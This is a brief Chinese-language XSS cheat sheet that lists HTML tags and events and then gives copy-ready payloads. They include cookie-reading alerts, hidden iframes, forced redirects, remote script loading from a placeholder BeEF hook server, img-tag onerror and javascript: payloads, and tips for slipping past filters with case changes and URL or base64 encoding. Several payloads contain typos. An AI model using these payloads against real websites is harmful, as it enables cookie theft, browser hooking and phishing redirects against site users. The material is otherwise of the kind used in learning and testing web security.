跨站脚本攻击xss

<iframe> 创建一个包含另一个文件的内联框架
<textarea>
<img>
<script>可以通过src指向其他网页
type元素必须的
常用做图像操作，表单验证，动态内容更新

alert 
window.locateion 获得当前页面的url
location.href 显示当前页面的完整url
onload 完成夹在
onsubmit 确认按钮被惦记
onerror 加载文档时或者图像时发生错误

弹窗警告
<script>alert(‘xss‘)</script>
<script>alert(document.cookie)</script>
?
页面嵌套
<iframe src=http://www.baidu.com width=0 hight=0></iframe>
?
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
?
弹窗警告并重定向
<script>alert(‘请移步到我们的新网站‘);location.href="http://www.baidu.com"</script>
?
访问恶意代码
<script src="http://www.baidu.com/xss.js"></script>
<script src="http://BeEF_ip:3000/hook.js"></script>
?
巧用图片标签
<img src="#" onerror-alert(‘xss‘)>
<img src="javascript:alert(‘xss‘);">
<img src="http://BeEf_ip:3000/hook.js">
?
绕开过滤脚本
大小写
字符编码，采用url，base64等编码

反射性xss
存储型xss